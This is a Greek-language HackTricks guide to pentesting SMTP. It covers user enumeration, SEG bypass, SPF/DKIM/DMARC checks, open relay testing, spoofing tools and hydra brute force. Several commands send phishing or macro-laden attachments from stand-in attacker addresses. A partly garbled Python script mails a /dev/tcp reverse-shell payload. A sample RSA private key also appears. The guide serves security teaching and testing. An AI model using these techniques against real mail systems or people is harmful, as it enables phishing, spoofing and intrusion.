25,465,587 - Pentesting SMTP/s

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Το Πρωτόκολλο Απλής Μεταφοράς Ηλεκτρονικής Αλληλογραφίας (SMTP) είναι ένα πρωτόκολλο που χρησιμοποιείται στο σύνολο TCP/IP για την αποστολή και λήψη ηλεκτρονικού ταχυδρομείου. Λόγω των περιορισμών του στην ουρά (queuing) μηνυμάτων στην πλευρά του παραλήπτη, το SMTP συχνά χρησιμοποιείται σε συνδυασμό είτε με POP3 ή IMAP. Αυτά τα πρόσθετα πρωτόκολλα επιτρέπουν στους χρήστες να αποθηκεύουν μηνύματα σε γραμματοκιβώτιο σε έναν server και να τα κατεβάζουν περιοδικά.

Στην πράξη, είναι συνηθισμένο τα προγράμματα ηλεκτρονικού ταχυδρομείου να χρησιμοποιούν SMTP για την αποστολή ηλεκτρονικών μηνυμάτων, ενώ χρησιμοποιούν POP3 ή IMAP για τη λήψη τους. Σε συστήματα βασισμένα σε Unix, ο sendmail ξεχωρίζει ως ο πιο συχνά χρησιμοποιούμενος SMTP server για σκοπούς ηλεκτρονικού ταχυδρομείου. Το εμπορικό πακέτο γνωστό ως Sendmail περιλαμβάνει έναν POP3 server. Επιπλέον, ο Microsoft Exchange παρέχει έναν SMTP server και προσφέρει την επιλογή να προστεθεί υποστήριξη POP3.

Προεπιλεγμένες θύρες: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Πύλες Ασφαλούς Ηλεκτρονικού Ταχυδρομείου (SEGs)

As mentioned in this blog post Secure Email Gateways (SEGs) sit in-line with inbound mail flow by changing MX records to point to the SEG instead of the mail server. Το SEG επιθεωρεί τα εισερχόμενα μηνύματα (π.χ., IP reputation, blocklists, SPF checks, spoofing detection, metadata/content analysis, sandboxing, URL rewriting) και στη συνέχεια προωθεί, απορρίπτει ή θέτει σε καραντίνα μηνύματα σύμφωνα με την πολιτική. Το μοντέλο ασφάλειας υποθέτει ότι όλα τα εισερχόμενα μηνύματα φτάνουν πρώτα στο SEG· αν ο mail server είναι προσβάσιμος απευθείας, το SEG μπορεί να αποφευχθεί (παρόμοιο με την παράκαμψη ενός WAF μιλώντας απευθείας στον origin).

Αποφυγή των SEGs μέσω MX mismatch

Οργανισμοί που χρησιμοποιούν Entra ID / Exchange Online συχνά έχουν πολλαπλά accepted domains. Εάν οποιοδήποτε accepted domain έχει ένα MX record που δείχνει απευθείας στον mail server (π.χ., Exchange Online) αντί για το SEG, μπορείτε να παραδώσετε mail σε εκείνο το domain και να αποφύγετε το SEG. Αυτό είναι μια κακή διαμόρφωση (όχι ευπάθεια) αλλά παραμένει ένα συχνό κενό.

Σημειώστε επίσης το προεπιλεγμένο <tenant>.onmicrosoft.com domain: το MX record του πάντα δείχνει στο Exchange Online. Αν η εισερχόμενη κίνηση προς *.onmicrosoft.com δεν είναι κλειδωμένη, η αποστολή σε user@<tenant>.onmicrosoft.com μπορεί να καταλήξει απευθείας στο inbox παρακάμπτοντας το SEG.

Σημειώσεις άμυνας:

  • Κλειδώστε την εισερχόμενη κίνηση προς *.onmicrosoft.com.
  • Ελέγχετε τακτικά τα accepted domains και τη δρομολόγηση MX τους.
  • Διαμορφώστε τους mail servers ώστε να δέχονται εισερχόμενα μόνο από το SEG.

Κεφαλίδες EMAIL

Αν έχετε την ευκαιρία να αναγκάσετε το θύμα να σας στείλει ένα email (π.χ. μέσω contact form της σελίδας), κάντε το γιατί μπορείτε να μάθετε την εσωτερική τοπολογία του θύματος βλέποντας τις κεφαλίδες του mail.

Μπορείτε επίσης να πάρετε ένα email από έναν SMTP server που προσπαθεί να στείλει σε εκείνον τον server ένα email σε μη-υπάρχουσα διεύθυνση (επειδή ο server θα στείλει στον attacker ένα NDN mail). Όμως, βεβαιωθείτε ότι στέλνετε το email από μια επιτρεπόμενη διεύθυνση (ελέγξτε την πολιτική SPF) και ότι μπορείτε να λαμβάνετε NDN μηνύματα.

Δοκιμάστε επίσης να στείλετε διαφορετικό περιεχόμενο γιατί μπορείτε να βρείτε πιο ενδιαφέρουσες πληροφορίες στις κεφαλίδες όπως: X-Virus-Scanned: by av.domain.com
Πρέπει να στείλετε το EICAR test file.
Η ανίχνευση του AV μπορεί να σας επιτρέψει να εκμεταλλευτείτε γνωστές ευπάθειες.

Βασικές ενέργειες

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Εύρεση MX servers μιας οργάνωσης

dig +short mx google.com

Enumeration

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Αποκάλυψη πληροφοριών

Αν ο διακομιστής υποστηρίζει NTLM auth (Windows), μπορείτε να αποκτήσετε ευαίσθητες πληροφορίες (εκδόσεις). Περισσότερες πληροφορίες here.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ή αυτοματοποιήστε αυτή τη διαδικασία με το plugin nmap smtp-ntlm-info.nse

Εσωτερικό όνομα διακομιστή - Αποκάλυψη πληροφοριών

Κάποιοι διακομιστές SMTP συμπληρώνουν αυτόματα τη διεύθυνση του αποστολέα όταν η εντολή “MAIL FROM” δίνεται χωρίς πλήρη διεύθυνση, αποκαλύπτοντας το εσωτερικό όνομα του διακομιστή:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Ελέγξτε αν μπορείτε να sniff κάποιο password από τα πακέτα προς τη θύρα 25

Auth bruteforce

Username Bruteforce Enumeration

Η αυθεντικοποίηση δεν είναι πάντα απαραίτητη

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Αυτόματα εργαλεία

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Αναφορές DSN

Delivery Status Notification Reports: Αν στείλετε ένα email σε έναν οργανισμό σε μια μη έγκυρη διεύθυνση, ο οργανισμός θα σας ενημερώσει ότι η διεύθυνση ήταν άκυρη, επιστρέφοντας ένα μήνυμα πίσω σε εσάς. Τα Headers του επιστρεφόμενου email θα περιέχουν πιθανές ευαίσθητες πληροφορίες (όπως IP address των mail services που αλληλεπίδρασαν με τις αναφορές ή πληροφορίες anti-virus software).

Εντολές

Αποστολή email από την κονσόλα linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Όταν επισυνάπτετε αρχεία με το swaks, χρησιμοποιήστε τον πρόθεμα @ ώστε τα bytes του αρχείου να ενσωματώνονται αντί για την κυριολεκτική συμβολοσειρά του ονόματος αρχείου. Αυτό είναι κρίσιμο για την παράδοση εγγράφων με macro:

swaks --to hr@example.local --from attacker@evil.com --header "Subject: Resume" --body "Please review" --attach @resume.doc --server 10.0.0.5

Αποστολή email με Python

Pyhton κώδικας εδώ ```python from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import smtplib import sys

lhost = “127.0.0.1” lport = 443 rhost = “192.168.1.1” rport = 25 # 489,587

create message object instance

msg = MIMEMultipart()

setup the parameters of the message

password = “” msg[‘From’] = “attacker@local” msg[‘To’] = “victim@local” msg[‘Subject’] = “This is not a drill!”

payload

message = (“& /dev/tcp/%s/%d 0>&1'); ?>” % (lhost,lport))

print(“[*] Payload is generated : %s” % message)

msg.attach(MIMEText(message, ‘plain’)) server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250: print(“[-]Connection Error”) exit()

server.starttls()

Uncomment if log-in with authencation

server.login(msg[‘From’], password)

server.sendmail(msg[‘From’], msg[‘To’], msg.as_string()) server.quit()

print(“[***]successfully sent email to %s:” % (msg[‘To’]))

</details>

## SMTP Smuggling

Η ευπάθεια SMTP Smuggling επέτρεπε την παράκαμψη όλων των προστασιών SMTP (δείτε την επόμενη ενότητα για περισσότερες πληροφορίες σχετικά με τις προστασίες). Για περισσότερες πληροφορίες σχετικά με το SMTP Smuggling δείτε:


<a class="content_ref" href="smtp-smuggling.md"><span class="content_ref_label">SMTP Smuggling</span></a>

## Μέτρα αντιμετώπισης για Mail Spoofing

Οι οργανισμοί αποτρέπουν την αποστολή μη εξουσιοδοτημένων email εκ μέρους τους χρησιμοποιώντας **SPF**, **DKIM**, και **DMARC** λόγω της ευκολίας πλαστογράφησης των μηνυμάτων SMTP.

Ένας **πλήρης οδηγός για αυτά τα μέτρα** είναι διαθέσιμος στο [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).

### SPF

> [!CAUTION]
> SPF [χαρακτηρίστηκε "deprecated" το 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Αυτό σημαίνει ότι αντί να δημιουργείτε ένα **TXT record** στο `_spf.domain.com` το δημιουργείτε στο `domain.com` χρησιμοποιώντας την **ίδια σύνταξη**.\
> Επιπλέον, για επαναχρησιμοποίηση προηγούμενων spf records είναι αρκετά κοινό να βρείτε κάτι σαν `"v=spf1 include:_spf.google.com ~all"`

**Sender Policy Framework** (SPF) είναι ένας μηχανισμός που επιτρέπει στους Mail Transfer Agents (MTAs) να επαληθεύουν εάν ένας host που στέλνει ένα email είναι εξουσιοδοτημένος, ερωτώντας μια λίστα εξουσιοδοτημένων mail servers που ορίζονται από τους οργανισμούς. Αυτή η λίστα, η οποία προσδιορίζει διευθύνσεις/εύρη IP, domains και άλλες οντότητες **εξουσιοδοτημένες να στέλνουν email εξ ονόματος ενός domain**, περιλαμβάνει διάφορα "**Mechanisms**" στο SPF record.

#### Mechanisms

From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):

| Mechanism | Description                                                                                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL       | Ταιριάζει πάντα· χρησιμοποιείται ως προεπιλεγμένο αποτέλεσμα, π.χ. `-all` για όλες τις IP που δεν ταιριάξαν με προηγούμενους μηχανισμούς.                                                                                                                                                                                              |
| A         | Ταιριάζει αν το domain έχει address record (A ή AAAA) που μπορεί να επιλυθεί στη διεύθυνση του αποστολέα.                                                                                                                                                                                                                           |
| IP4       | Ταιριάζει αν ο αποστολέας ανήκει στο δοθέν IPv4 address range.                                                                                                                                                                                                                                                                        |
| IP6       | Ταιριάζει αν ο αποστολέας ανήκει στο δοθέν IPv6 address range.                                                                                                                                                                                                                                                                        |
| MX        | Ταιριάζει αν το domain έχει MX record που επιλύεται στη διεύθυνση του αποστολέα (δηλ. το mail προέρχεται από έναν από τους εισερχόμενους mail servers του domain).                                                                                                                                                                      |
| PTR       | Ταιριάζει αν το domain name (PTR record) για τη διεύθυνση του client είναι μέσα στο δοθέν domain και εκείνο το domain name επιλύεται στη διεύθυνση του client (forward-confirmed reverse DNS). Αυτός ο μηχανισμός αποθαρρύνεται και πρέπει να αποφεύγεται, εάν είναι δυνατό.                                                      |
| EXISTS    | Ταιριάζει αν το δοθέν domain name επιλύεται σε οποιαδήποτε διεύθυνση (ασχέτως ποια). Σπάνια χρησιμοποιείται. Σε συνδυασμό με τη SPF macro γλώσσα προσφέρει πιο σύνθετα matches όπως DNSBL-queries.                                                                                                                                     |
| INCLUDE   | Αναφέρεται στην πολιτική άλλου domain. Αν η πολιτική εκείνου του domain περνάει, αυτός ο μηχανισμός περνάει. Ωστόσο, αν η συμπερίληψη αποτύχει, η επεξεργασία συνεχίζεται. Για πλήρη ανάθεση στην πολιτική άλλου domain πρέπει να χρησιμοποιηθεί η redirect επέκταση.                                                                        |
| REDIRECT  | <p>Ένα redirect είναι ένας pointer προς άλλο domain που φιλοξενεί μια SPF πολιτική· επιτρέπει σε πολλαπλά domains να μοιράζονται την ίδια πολιτική SPF. Είναι χρήσιμο όταν δουλεύετε με μεγάλο αριθμό domains που μοιράζονται την ίδια email υποδομή.</p><p>Η SPF policy του domain που υποδεικνύεται στο redirect Mechanism θα χρησιμοποιηθεί.</p> |

It's also possible to identify **Qualifiers** that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used (so if any mechanism is matched, that means it's allowed).\
You usually will note **at the end of each SPF policy** something like: **\~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted (\~) or reject (-) the email.**

#### Qualifiers

Each mechanism within the policy may be prefixed by one of four qualifiers to define the intended result:

- **`+`**: Αντιστοιχεί σε αποτέλεσμα PASS. Από προεπιλογή οι μηχανισμοί θεωρούν αυτό το qualifier, κάνοντας το `+mx` ισοδύναμο με `mx`.
- **`?`**: Αντιπροσωπεύει NEUTRAL αποτέλεσμα, αντιμετωπιζόμενο παρομοίως με NONE (χωρίς συγκεκριμένη πολιτική).
- **`~`**: Δείχνει SOFTFAIL, λειτουργώντας ως ενδιάμεση κατάσταση ανάμεσα σε NEUTRAL και FAIL. Τα email με αυτό το αποτέλεσμα συνήθως γίνονται αποδεκτά αλλά επισημαίνονται αναλόγως.
- **`-`**: Υποδεικνύει FAIL, προτείνοντας ότι το email πρέπει να απορριφθεί άμεσα.

In the upcoming example, the **SPF policy of google.com** is illustrated. Note the inclusion of SPF policies from different domains within the first SPF policy:
```shell-session
dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Παραδοσιακά ήταν δυνατό να γίνει spoof οποιοδήποτε domain name που δεν είχε σωστό/ή οποιοδήποτε SPF record. Σήμερα, αν email προέρχεται από ένα domain χωρίς ένα έγκυρο SPF record, πιθανότατα θα απορριφθεί/σημειωθεί αυτόματα ως μη αξιόπιστο.

Για να ελέγξετε το SPF ενός domain μπορείτε να χρησιμοποιήσετε online εργαλεία όπως: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

Το DKIM χρησιμοποιείται για να υπογράφει εξερχόμενα email, επιτρέποντας την επικύρωσή τους από εξωτερικά Mail Transfer Agents (MTAs) μέσω ανάκτησης του public key του domain από το DNS. Αυτό το public key βρίσκεται στο TXT record του domain. Για πρόσβαση σε αυτό το κλειδί, πρέπει να γνωρίζετε τόσο τον selector όσο και το domain name.

Για παράδειγμα, για να ζητήσετε το κλειδί, το domain name και ο selector είναι απαραίτητα. Αυτά μπορούν να βρεθούν στο mail header DKIM-Signature, π.χ. d=gmail.com;s=20120113.

Μια εντολή για να ανακτήσετε αυτήν την πληροφορία μπορεί να μοιάζει ως εξής:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

Το DMARC ενισχύει την ασφάλεια των email βασιζόμενο στα πρωτόκολλα SPF και DKIM. Ορίζει πολιτικές που καθοδηγούν τους διακομιστές αλληλογραφίας στον χειρισμό των μηνυμάτων από ένα συγκεκριμένο domain, συμπεριλαμβανομένου του τρόπου αντιμετώπισης αποτυχιών πιστοποίησης και του πού να αποστέλλονται αναφορές σχετικά με ενέργειες επεξεργασίας email.

Για να αποκτήσετε το DMARC record, πρέπει να κάνετε query τον υποτομέα _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Ετικέτες DMARC

Tag NameΣκοπόςΠαράδειγμα
vΈκδοση πρωτοκόλλουv=DMARC1
pctΠοσοστό μηνυμάτων που υπόκεινται σε φιλτράρισμαpct=20
rufURI αναφοράς για forensic αναφορέςruf=mailto:authfail@example.com
ruaURI αναφοράς για συγκεντρωτικές αναφορέςrua=mailto:aggrep@example.com
pΠολιτική για το οργανωσιακό domainp=quarantine
spΠολιτική για υποτομείς του οργανωσιακού domainsp=reject
adkimΤρόπος ευθυγράμμισης για DKIMadkim=s
aspfΤρόπος ευθυγράμμισης για SPFaspf=r

Τι γίνεται με τους υποτομείς;

Από here.
Πρέπει να έχετε ξεχωριστά SPF records για κάθε υποτομέα από τον οποίο θέλετε να στέλνετε email.
Το παρακάτω δημοσιεύτηκε αρχικά στο openspf.org, που παλαιότερα ήταν πολύτιμος πόρος για τέτοια θέματα.

The Demon Question: What about subdomains?

If I get mail from pielovers.demon.co.uk, and there’s no SPF data for pielovers, should I go back one level and test SPF for demon.co.uk? No. Each subdomain at Demon is a different customer, and each customer might have their own policy. It wouldn’t make sense for Demon’s policy to apply to all its customers by default; if Demon wants to do that, it can set up SPF records for each subdomain.

So the advice to SPF publishers is this: you should add an SPF record for each subdomain or hostname that has an A or MX record.

Sites with wildcard A or MX records should also have a wildcard SPF record, of the form: * IN TXT “v=spf1 -all”

Αυτό βγάζει νόημα — ένας υποτομέας μπορεί πολύ καλά να βρίσκεται σε διαφορετική γεωγραφική τοποθεσία και να έχει πολύ διαφορετικό ορισμό SPF.

Open Relay

Όταν στέλνονται email, είναι κρίσιμο να διασφαλίζεται ότι δεν θα χαρακτηριστούν ως spam. Αυτό επιτυγχάνεται συχνά μέσω της χρήσης ενός relay server που εμπιστεύεται ο παραλήπτης. Ωστόσο, ένα συνηθισμένο πρόβλημα είναι ότι οι administrators μπορεί να μην γνωρίζουν πλήρως ποιες IP σειρές είναι ασφαλές να επιτρέψουν. Αυτή η έλλειψη κατανόησης μπορεί να οδηγήσει σε λάθη στη ρύθμιση του SMTP server, ένας κίνδυνος που συχνά εντοπίζεται σε security assessments.

Μια λύση-παραβίαση που μερικοί administrators χρησιμοποιούν για να αποφύγουν προβλήματα παράδοσης email, ειδικά για επικοινωνίες με πιθανούς ή ενεργούς πελάτες, είναι να επιτρέπουν συνδέσεις από οποιαδήποτε IP διεύθυνση. Αυτό γίνεται με τη ρύθμιση της παραμέτρου mynetworks του SMTP server ώστε να αποδέχεται όλες τις IP διευθύνσεις, όπως φαίνεται παρακάτω:

mynetworks = 0.0.0.0/0

Για να ελεγχθεί αν ένας διακομιστής αλληλογραφίας είναι open relay (που σημαίνει ότι θα μπορούσε να προωθήσει email από οποιαδήποτε εξωτερική πηγή), το εργαλείο nmap χρησιμοποιείται συχνά. Περιλαμβάνει ένα συγκεκριμένο script σχεδιασμένο για να το δοκιμάσει. Η εντολή για να διεξαχθεί μια verbose σάρωση σε έναν διακομιστή (για παράδειγμα με IP 10.10.10.10) στη θύρα 25 χρησιμοποιώντας nmap είναι:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Εργαλεία

Αποστολή Spoof Email

Ή μπορείτε να χρησιμοποιήσετε ένα εργαλείο:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

Warning

Αν αντιμετωπίσετε οποιοδήποτε σφάλμα κατά τη χρήση της dkim python lib κατά την ανάλυση του κλειδιού, μπορείτε να χρησιμοποιήσετε το ακόλουθο.
ΣΗΜΕΙΩΣΗ: Αυτό είναι απλώς μια πρόχειρη λύση για να κάνετε γρήγορους ελέγχους σε περιπτώσεις όπου για κάποιο λόγο το ιδιωτικό κλειδί του openssl δεν μπορεί να αναλυθεί από το dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Ή μπορείτε να το κάνετε χειροκίνητα:

# This will send an unsigned message
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

Περισσότερες πληροφορίες

Βρείτε περισσότερες πληροφορίες για αυτές τις προστασίες στο https://seanthegeek.net/459/demystifying-dmarc/

Άλλοι δείκτες phishing

  • Ηλικία του domain
  • Links pointing to IP addresses
  • Link manipulation techniques
  • Suspicious (uncommon) attachments
  • Κατεστραμμένο περιεχόμενο email
  • Τιμές που χρησιμοποιούνται και διαφέρουν από αυτές των κεφαλίδων του mail
  • Υπαρξη έγκυρου και αξιόπιστου SSL πιστοποιητικού
  • Υποβολή της σελίδας σε ιστότοπους φιλτραρίσματος περιεχομένου web

Exfiltration through SMTP

Αν μπορείτε να στείλετε δεδομένα μέσω SMTP read this.

Αρχείο ρυθμίσεων

Postfix

Συνήθως, αν είναι εγκατεστημένο, το /etc/postfix/master.cf περιέχει scripts to execute όταν, για παράδειγμα, ένα νέο mail λαμβάνεται από έναν χρήστη. Για παράδειγμα η γραμμή flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} σημαίνει ότι το /etc/postfix/filtering θα εκτελεστεί εάν ένα νέο mail παραληφθεί από τον χρήστη mark.

Άλλα αρχεία ρυθμίσεων:

sendmail.cf
submit.cf

Αναφορές

Αυτόματες Εντολές HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks